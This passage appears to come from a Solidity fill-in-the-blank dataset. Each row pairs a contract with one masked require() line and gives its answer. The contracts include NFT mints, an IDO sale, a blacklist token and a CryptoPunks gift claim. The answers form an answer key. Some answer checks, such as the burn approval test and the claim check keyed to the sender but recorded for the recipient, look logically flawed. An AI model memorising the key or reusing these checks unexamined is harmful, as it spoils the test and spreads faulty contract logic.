bytes32 hashedDomain = keccak256(abi.encodePacked(_http));
require(_siteExists[hashedDomain], "Domain is not claimable.");
require(_list[hashedDomain].size() < MaxPerDomain, "Domain is not claimable.");
require(<FILL_ME>)
bool hasMinted = _list[hashedDomain].get(msg.sender);
require(!hasMinted, "Address already has the token on this domain.");
_list[hashedDomain].set(msg.sender);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function isSignatureValid(string memory _http, bytes memory _signature) internal view returns (bool) {
}
function setTokenURI(string memory _uri) external virtual onlyRole(DEFAULT_ADMIN_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getMinted(string memory _http) external view onlyRole(DEFAULT_ADMIN_ROLE) returns (address[] memory) {
}
function isValidDomain(string memory _http) external view returns (bool) {
}
function claimable(string memory _http) external view returns (bool) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
}
| isSignatureValid(_http,_signature),"Invalid signature" | 254,735 | isSignatureValid(_http,_signature) |
"Address already has the token on this domain." | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
library AddressMap {
struct Map {
address[] keys;
mapping(address => bool) values;
mapping(address => uint) indexOf;
}
function get(Map storage map, address key) public view returns (bool) {
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
}
function size(Map storage map) public view returns (uint) {
}
function set(
Map storage map,
address key
) public {
}
function remove(Map storage map, address key) public {
}
}
contract ProticoChattingChip is ERC721, ReentrancyGuard, AccessControl {
using SignatureChecker for address;
using Counters for Counters.Counter;
using AddressMap for AddressMap.Map;
Counters.Counter private _tokenIdCounter;
uint256 constant MaxSupply = 30000;
uint256 constant MaxPerDomain = 1000;
bytes32[30] private _sites = [
bytes32(0x9649c7eb6df175f417fcfb2eeeaf6e39367ec7a45034048a3d5cff5e2ea8519f),
bytes32(0x45a2112d850d7101c902a913c185ba0d28e0ecdcfd1d540e2497f2750714f69a),
bytes32(0x0445d458f1aa05b40e476e9a57218b91110ad2174ae15f7057715e84693f7100),
bytes32(0xeb867819c51fbf7d44c73a332082c0b6142546289310c6ff4fac832120012ed3),
bytes32(0x89ae9c604bc971f8b6a5aee73a1c4e71c952d16a3bcf995e1642f2db167bc5a7),
bytes32(0x9f514643ee17437be8788be62d7db6953296791a2ad0db024063a20a97a08682),
bytes32(0x94d13d04140fd5b04a3196ba600a958460fc847c28b74d6e9c1f26bb50c56b45),
bytes32(0x9e01a36b730e791ed57eabb8379758d7601ffc79b6d613cb7744191938672887),
bytes32(0x1345e844ae191c4c9f5ed685ecca259e4530dec934838661f002fc3ac3c3b83c),
bytes32(0x588e7f25cc1ab5b40a3b6770561d285a5299071e36dbffe3cba46f5360110f5d),
bytes32(0x6449d685d467441665612dc60098ae2a5f0e16d0e60f1d9d0b63e3c037c5df8d),
bytes32(0xc9fc5126b89092478eb63279a7cd259ea24c24bc945b91b5c8366967b05ee6d1),
bytes32(0x574014404853e93615346db284ca5bd068542f139762d459e11e64fee33e7abd),
bytes32(0x0e84102fc2bc70ee46419905395f8fb46f7c0be0c9e694e4e699b087cde9be16),
bytes32(0xd14db021bc6bdaf39de490427d6a1e0e265463ff19e83094dc76f0d3150fc716),
bytes32(0x4c85a4f44366822767ab3fa89b6b2a8cf6b30a44a96152d7c26a77f634f9cbe0),
bytes32(0xf0ca7fdd544d43a37b1fd3242551a298fbfed3edb8403c9e925c4cde8c19fe8e),
bytes32(0x207eeb1c4a1ac75d8ac74d64bfabb5e81199384099507fa4233771c134adad72),
bytes32(0x131e81156f0505f36093d6b4d5e6f14643b9f367da7fd717f3239c1599c620a8),
bytes32(0x2ccc2d85ad9b8899ddbad3cef1c367ed84bf8d19014acd04588e48f6e837436e),
bytes32(0x702c587833b68bf050b53037adba2bb8f7f93d875c5a372389d8d6987074f503),
bytes32(0xb0af795fa00c85296c52b9fa3873a6acb561de2ac8e8ae0a84338bfbbcb6a3d7),
bytes32(0xa57c78e6f3324d0ef1b1412366a8b123674f9423dd1effc63656d7e48d05bc30),
bytes32(0xf7f00296c339c4e3d3b2aa84cbe9a6cadb9d8aabd2eb784064fb12ecf2029b0e),
bytes32(0xbf9c1eb5724df6704047f4b9f5ddb73e21e53efedd725685ab9d9820c5dc99b2),
bytes32(0xcc57ea92f884c55cc87b03761c95b7d99a2324f4baec0a72a0df10cbab77911b),
bytes32(0xdc6ab7e871c6a47b07c00e6bbd11ee902e47d00afc2191d614116b87900973dc),
bytes32(0xf2e4f0dcb4243c2dc76aeee61f15ba1d87db55775678f6d67d7a49130db786e4),
bytes32(0x3a95202072e7adc1c3e2598fd97fd22472790fb26ec4f768f6b77c4c12995fb2),
bytes32(0x6ce43a2f8178c89cac275597661b9ce9f6b7ef6a93e8c97b0ccf437dad1e511e)
];
mapping(bytes32 => AddressMap.Map) private _list;
mapping(bytes32 => bool) private _siteExists;
string private _tokenURI;
constructor() ERC721("Protico Chatting Chip", "PCC") {
}
function mint(
string memory _http,
bytes memory _signature
) external nonReentrant {
uint256 tokenId = _tokenIdCounter.current();
require(tokenId < MaxSupply, "Not claimable");
bytes32 hashedDomain = keccak256(abi.encodePacked(_http));
require(_siteExists[hashedDomain], "Domain is not claimable.");
require(_list[hashedDomain].size() < MaxPerDomain, "Domain is not claimable.");
require(isSignatureValid(_http, _signature), "Invalid signature");
bool hasMinted = _list[hashedDomain].get(msg.sender);
require(<FILL_ME>)
_list[hashedDomain].set(msg.sender);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
}
function isSignatureValid(string memory _http, bytes memory _signature) internal view returns (bool) {
}
function setTokenURI(string memory _uri) external virtual onlyRole(DEFAULT_ADMIN_ROLE) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getMinted(string memory _http) external view onlyRole(DEFAULT_ADMIN_ROLE) returns (address[] memory) {
}
function isValidDomain(string memory _http) external view returns (bool) {
}
function claimable(string memory _http) external view returns (bool) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
}
| !hasMinted,"Address already has the token on this domain." | 254,735 | !hasMinted |
"Invalid purchase currency" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract IDOContract is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
address signer = 0xB9aBC6AB17B5DDb8FA11964018D29EbB4db4a439;
mapping(address => bool) currency;
event BuyEvent(
address buyer,
address currency,
uint256 amountIn,
uint256 amountOut,
uint256 cohort,
uint256 price,
uint256 validBefore,
uint256 nonce
);
constructor() {}
function setSigner(address _signer) external onlyOwner {
}
function verifySignature(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) public view returns (bool) {
}
function buy(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
require(block.timestamp <= _validBefore, "Transaction expired");
require(<FILL_ME>)
require(
verifySignature(_buyer, _currency, _amountIn, _amountOut, _cohort, _price, _validBefore, _nonce, v, r, s),
"bad signature"
);
lockERC20(_amountIn, _currency);
emit BuyEvent(_buyer, _currency, _amountIn, _amountOut, _cohort, _price, _validBefore, _nonce);
}
function addCurrency(address asset) external onlyOwner {
}
function removeCurrency(address asset) external onlyOwner {
}
// ---------------------------
function lockERC20(uint256 _amount, address _asset) private {
}
function withdraw(address _to, uint256 amount, address asset) external onlyOwner nonReentrant {
}
function withdrawAll(address _to, address asset) external onlyOwner nonReentrant {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) {
}
function splitSignature(bytes memory sig) public pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) {
}
}
| currency[_currency],"Invalid purchase currency" | 254,799 | currency[_currency] |
"bad signature" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract IDOContract is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
address signer = 0xB9aBC6AB17B5DDb8FA11964018D29EbB4db4a439;
mapping(address => bool) currency;
event BuyEvent(
address buyer,
address currency,
uint256 amountIn,
uint256 amountOut,
uint256 cohort,
uint256 price,
uint256 validBefore,
uint256 nonce
);
constructor() {}
function setSigner(address _signer) external onlyOwner {
}
function verifySignature(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) public view returns (bool) {
}
function buy(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
require(block.timestamp <= _validBefore, "Transaction expired");
require(currency[_currency], "Invalid purchase currency");
require(<FILL_ME>)
lockERC20(_amountIn, _currency);
emit BuyEvent(_buyer, _currency, _amountIn, _amountOut, _cohort, _price, _validBefore, _nonce);
}
function addCurrency(address asset) external onlyOwner {
}
function removeCurrency(address asset) external onlyOwner {
}
// ---------------------------
function lockERC20(uint256 _amount, address _asset) private {
}
function withdraw(address _to, uint256 amount, address asset) external onlyOwner nonReentrant {
}
function withdrawAll(address _to, address asset) external onlyOwner nonReentrant {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) {
}
function splitSignature(bytes memory sig) public pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) {
}
}
| verifySignature(_buyer,_currency,_amountIn,_amountOut,_cohort,_price,_validBefore,_nonce,v,r,s),"bad signature" | 254,799 | verifySignature(_buyer,_currency,_amountIn,_amountOut,_cohort,_price,_validBefore,_nonce,v,r,s) |
"Router: non-whitelisted asset" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract IDOContract is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
address signer = 0xB9aBC6AB17B5DDb8FA11964018D29EbB4db4a439;
mapping(address => bool) currency;
event BuyEvent(
address buyer,
address currency,
uint256 amountIn,
uint256 amountOut,
uint256 cohort,
uint256 price,
uint256 validBefore,
uint256 nonce
);
constructor() {}
function setSigner(address _signer) external onlyOwner {
}
function verifySignature(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) public view returns (bool) {
}
function buy(
address _buyer,
address _currency,
uint256 _amountIn,
uint256 _amountOut,
uint256 _cohort,
uint256 _price,
uint256 _validBefore,
uint256 _nonce,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
}
function addCurrency(address asset) external onlyOwner {
}
function removeCurrency(address asset) external onlyOwner {
}
// ---------------------------
function lockERC20(uint256 _amount, address _asset) private {
}
function withdraw(address _to, uint256 amount, address asset) external onlyOwner nonReentrant {
require(<FILL_ME>)
IERC20(asset).transfer(_to, amount);
}
function withdrawAll(address _to, address asset) external onlyOwner nonReentrant {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) {
}
function splitSignature(bytes memory sig) public pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) {
}
}
| currency[asset],"Router: non-whitelisted asset" | 254,799 | currency[asset] |
"Must be an NFTeams holder to mint" | // jerseys.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "https://github.com/chiru-labs/ERC721A/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface iNFTeamsMinter {
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
}
contract NFTeamsJerseys is ERC721A, Ownable, ERC721AQueryable {
// Sale state control variables
bool public burningEnabled = false;
bool public mintingEnabled = false;
mapping(uint256 => bool) public claimedByTeamId;
// Metadata variables
string public _baseURI_;
// External contracts
address public nfteamsContractAddress;
iNFTeamsMinter nfteamsContract;
constructor() ERC721A("NFTeamsJerseys", "NFTeamsJerseys") {
}
/** *********************************** **/
/** ********* State Functions ********* **/
/** *********************************** **/
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function toggleBurningEnabled() external onlyOwner {
}
function toggleMintingEnabled() external onlyOwner {
}
function setNFTeamsContractAddress(address _address) external onlyOwner {
}
/** *********************************** **/
/** ********* First Token = 1 ********* **/
/** *********************************** **/
function _startTokenId() internal pure override returns (uint256) {
}
/** *********************************** **/
/** ********* Minting Functions ******* **/
/** *********************************** **/
function mint(uint256[] memory teamIds) external payable {
require(mintingEnabled, "Minting is not enabled");
// Check balance of nfteams
uint256 balance = nfteamsContract.balanceOf(msg.sender);
require(<FILL_ME>)
// Iterate through each team id specified
for (uint256 k = 0; k < teamIds.length; k++) {
// Check if jersey has already been claimed for this team
uint256 teamId = teamIds[k];
if (claimedByTeamId[teamId] == true) {
revert(string(abi.encodePacked("Jersey for Team #", Strings.toString(teamId), " has already been claimed")));
}
// Confirm team is owned by the user
bool teamOwned = false;
for (uint256 i = 0; i < balance; i++) {
uint256 team_id = nfteamsContract.tokenOfOwnerByIndex(msg.sender, i);
if (team_id == teamId) {
teamOwned = true;
}
}
if (!teamOwned) {
revert(string(abi.encodePacked("You do not own Team #", Strings.toString(teamId))));
}
}
// ERC721A Mint Function
_mint(msg.sender, teamIds.length);
// Update claimed array
for (uint256 k = 0; k < teamIds.length; k++) {
uint256 teamId = teamIds[k];
claimedByTeamId[teamId] = true;
}
}
/** *********************************** **/
/** ********* Burning Function ******** **/
/** *********************************** **/
function burn(uint256 tokenId) public {
}
/** *********************************** **/
/** ********* Utility Functions ******* **/
/** *********************************** **/
function walletOfOwner(address address_) public view returns (uint256[] memory) {
}
}
| nfteamsContract.balanceOf(msg.sender)>0,"Must be an NFTeams holder to mint" | 255,076 | nfteamsContract.balanceOf(msg.sender)>0 |
"caller is not owner nor approved" | // jerseys.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "https://github.com/chiru-labs/ERC721A/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface iNFTeamsMinter {
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
}
contract NFTeamsJerseys is ERC721A, Ownable, ERC721AQueryable {
// Sale state control variables
bool public burningEnabled = false;
bool public mintingEnabled = false;
mapping(uint256 => bool) public claimedByTeamId;
// Metadata variables
string public _baseURI_;
// External contracts
address public nfteamsContractAddress;
iNFTeamsMinter nfteamsContract;
constructor() ERC721A("NFTeamsJerseys", "NFTeamsJerseys") {
}
/** *********************************** **/
/** ********* State Functions ********* **/
/** *********************************** **/
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function toggleBurningEnabled() external onlyOwner {
}
function toggleMintingEnabled() external onlyOwner {
}
function setNFTeamsContractAddress(address _address) external onlyOwner {
}
/** *********************************** **/
/** ********* First Token = 1 ********* **/
/** *********************************** **/
function _startTokenId() internal pure override returns (uint256) {
}
/** *********************************** **/
/** ********* Minting Functions ******* **/
/** *********************************** **/
function mint(uint256[] memory teamIds) external payable {
}
/** *********************************** **/
/** ********* Burning Function ******** **/
/** *********************************** **/
function burn(uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(burningEnabled, "burning is not enabled");
require(<FILL_ME>)
_burn(tokenId);
}
/** *********************************** **/
/** ********* Utility Functions ******* **/
/** *********************************** **/
function walletOfOwner(address address_) public view returns (uint256[] memory) {
}
}
| isApprovedForAll(owner,_msgSender()),"caller is not owner nor approved" | 255,076 | isApprovedForAll(owner,_msgSender()) |
"Wallet address is over the maximum allowed mints" | pragma solidity ^0.8.4;
contract theOddlingsBunch is ERC721A, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.0035 ether;
uint256 public maxSupply = 3500;
uint256 public maxMintAmount = 4;
uint256 public nftPerAddressLimit = 12;
bool public paused = true;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721A(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// owner mint
function ownerMint(uint256 _mintAmount) public onlyOwner {
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
require(msg.value >= cost * _mintAmount, "insufficient funds");
require(<FILL_ME>)
addressMintedBalance[msg.sender] = addressMintedBalance[msg.sender] + _mintAmount;
_safeMint(_msgSender(), _mintAmount);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
//only owner
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| addressMintedBalance[msg.sender]+_mintAmount<=nftPerAddressLimit,"Wallet address is over the maximum allowed mints" | 255,083 | addressMintedBalance[msg.sender]+_mintAmount<=nftPerAddressLimit |
"Sender is blacklisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract TheMaskETH {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isBlacklisted;
address public owner;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Blacklist(address indexed account, bool isBlacklisted);
constructor() {
}
modifier onlyOwner() {
}
function transfer(address _to, uint256 _value) external returns (bool) {
}
function approve(address _spender, uint256 _value) external returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(balanceOf[_from] >= _value, "Insufficient balance");
require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");
require(_to != address(0), "Invalid address");
require(<FILL_ME>)
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function setBlacklist(address _account, bool _isBlacklisted) external onlyOwner {
}
}
| !isBlacklisted[_from],"Sender is blacklisted" | 255,139 | !isBlacklisted[_from] |
"already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/*
*
* π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
* CryptoPunks 5th Birthday π¬π¬π¬
* Gift from tycoon.eth π¬π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
*
* This contract does not read/write into the CryptoPunks contract.
* It does not require any approvals or permissions.
* All distribution is done using a Merkle tree from a snapshot on 10th of
* June 2022.
*
* Simply claim from the address where you had a punk on 10th of June 2022.
* (Your punk does not have to be in the wallet while you claim, it only had
* to be there in the 10th of June)
*
* Claim at: https://thedaonft.eth.limo/punks.html
*
* Only 500 items in the inventory!
*
* What is it? It's a NFT collection created by me, tycoon.eth around November
* 2021.
*
* Like most of you, I've been fascinated with NFTs, so I got curious &
* creative.
* I'm also fascinated about the TheDAO, so I've put the two together,
* See more details at thedaonft.eth.limo
* After completion, the project was handed over to the "DAO Museum Multisig",
* so I don't own it by myself, but as of writing, I'm still one of the signers
* on the multisig and I can change the website.
*
* I mostly give these away to friends, and it's a great conversation starter!
*
* Each NFT has 1 DAO token inside, which is worth 0.01 ETH
* You can burn the NFT to get the DAO token back. (The NFT can be restored,
* but it will cost 4 DAO to restore)
* 1 DAO will always be worth 0.01 ETH because there is a smart contract that
* can instantly redeem 0.01 ETH for every DAO you have.
*
* Oh, if you have multiple addresses and received multiple pieces, consider
* giving a spare to someone who missed out <3
*
* The Curator will shutdown this contract if there are no new claims for
* longer than 30 days.
*
* Happy 5th Birthday CryptoPunks!
*
*
* deployed with:
* _THEDAO 0xbb9bc244d798123fde783fcc1c72d3bb8c189413
* _THENFT 0x79a7d3559d73ea032120a69e59223d4375deb595
*/
contract TheGift {
IERC20 private immutable theDAO;
ITheNFT private immutable theNFT;
mapping(address => uint256) public claims;
address payable public curator;
bytes32 public root;
mapping (uint256 => batch) private inventory;
uint256 public curBatch;
uint256 public nextBatch;
event Claim(address);
struct batch {
uint256 end;
uint256 progress;
}
constructor(address _theDAO, address _theNFT) {
}
modifier onlyCurator {
}
function setRoot(bytes32 _r) external onlyCurator {
}
function setCurator(address _a) external onlyCurator {
}
function bulkMint(uint256 rounds) external onlyCurator {
}
function shutdown(uint256[] calldata _ids, bool _destruct) external onlyCurator {
}
function verify(
address _to,
bytes32 _root,
bytes32[] memory _proof
) public pure returns (bool) {
}
function claim(address _to, bytes32[] memory _proof) external {
require(<FILL_ME>)
require(verify(_to, root, _proof), "invalid proof");
require(theNFT.balanceOf(address(this)) > 0, "no nfts available");
uint256 id;
batch storage b = inventory[curBatch];
id = b.progress;
theNFT.transferFrom(address(this), _to, id); // will fail if already claimed
emit Claim(_to);
claims[_to] = id;
unchecked { b.progress++; }
if (b.progress >= b.end) {
unchecked { curBatch++; }
}
}
function getStats(address _user, bytes32[] memory _proof) external view returns(uint256[] memory) {
}
}
/*
* @dev Interface of the ERC20 standard as defined in the EIP.
* 0xTycoon was here
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns (bytes4);
}
interface IERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ITheNFT is IERC721 {
function mint(uint256 i) external;
function getStats(address user) external view returns(uint256[] memory);
}
| claims[msg.sender]==0,"already claimed" | 255,308 | claims[msg.sender]==0 |
"invalid proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/*
*
* π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
* CryptoPunks 5th Birthday π¬π¬π¬
* Gift from tycoon.eth π¬π¬π¬
* π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬π¬
*
* This contract does not read/write into the CryptoPunks contract.
* It does not require any approvals or permissions.
* All distribution is done using a Merkle tree from a snapshot on 10th of
* June 2022.
*
* Simply claim from the address where you had a punk on 10th of June 2022.
* (Your punk does not have to be in the wallet while you claim, it only had
* to be there in the 10th of June)
*
* Claim at: https://thedaonft.eth.limo/punks.html
*
* Only 500 items in the inventory!
*
* What is it? It's a NFT collection created by me, tycoon.eth around November
* 2021.
*
* Like most of you, I've been fascinated with NFTs, so I got curious &
* creative.
* I'm also fascinated about the TheDAO, so I've put the two together,
* See more details at thedaonft.eth.limo
* After completion, the project was handed over to the "DAO Museum Multisig",
* so I don't own it by myself, but as of writing, I'm still one of the signers
* on the multisig and I can change the website.
*
* I mostly give these away to friends, and it's a great conversation starter!
*
* Each NFT has 1 DAO token inside, which is worth 0.01 ETH
* You can burn the NFT to get the DAO token back. (The NFT can be restored,
* but it will cost 4 DAO to restore)
* 1 DAO will always be worth 0.01 ETH because there is a smart contract that
* can instantly redeem 0.01 ETH for every DAO you have.
*
* Oh, if you have multiple addresses and received multiple pieces, consider
* giving a spare to someone who missed out <3
*
* The Curator will shutdown this contract if there are no new claims for
* longer than 30 days.
*
* Happy 5th Birthday CryptoPunks!
*
*
* deployed with:
* _THEDAO 0xbb9bc244d798123fde783fcc1c72d3bb8c189413
* _THENFT 0x79a7d3559d73ea032120a69e59223d4375deb595
*/
contract TheGift {
IERC20 private immutable theDAO;
ITheNFT private immutable theNFT;
mapping(address => uint256) public claims;
address payable public curator;
bytes32 public root;
mapping (uint256 => batch) private inventory;
uint256 public curBatch;
uint256 public nextBatch;
event Claim(address);
struct batch {
uint256 end;
uint256 progress;
}
constructor(address _theDAO, address _theNFT) {
}
modifier onlyCurator {
}
function setRoot(bytes32 _r) external onlyCurator {
}
function setCurator(address _a) external onlyCurator {
}
function bulkMint(uint256 rounds) external onlyCurator {
}
function shutdown(uint256[] calldata _ids, bool _destruct) external onlyCurator {
}
function verify(
address _to,
bytes32 _root,
bytes32[] memory _proof
) public pure returns (bool) {
}
function claim(address _to, bytes32[] memory _proof) external {
require(claims[msg.sender] == 0, "already claimed");
require(<FILL_ME>)
require(theNFT.balanceOf(address(this)) > 0, "no nfts available");
uint256 id;
batch storage b = inventory[curBatch];
id = b.progress;
theNFT.transferFrom(address(this), _to, id); // will fail if already claimed
emit Claim(_to);
claims[_to] = id;
unchecked { b.progress++; }
if (b.progress >= b.end) {
unchecked { curBatch++; }
}
}
function getStats(address _user, bytes32[] memory _proof) external view returns(uint256[] memory) {
}
}
/*
* @dev Interface of the ERC20 standard as defined in the EIP.
* 0xTycoon was here
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
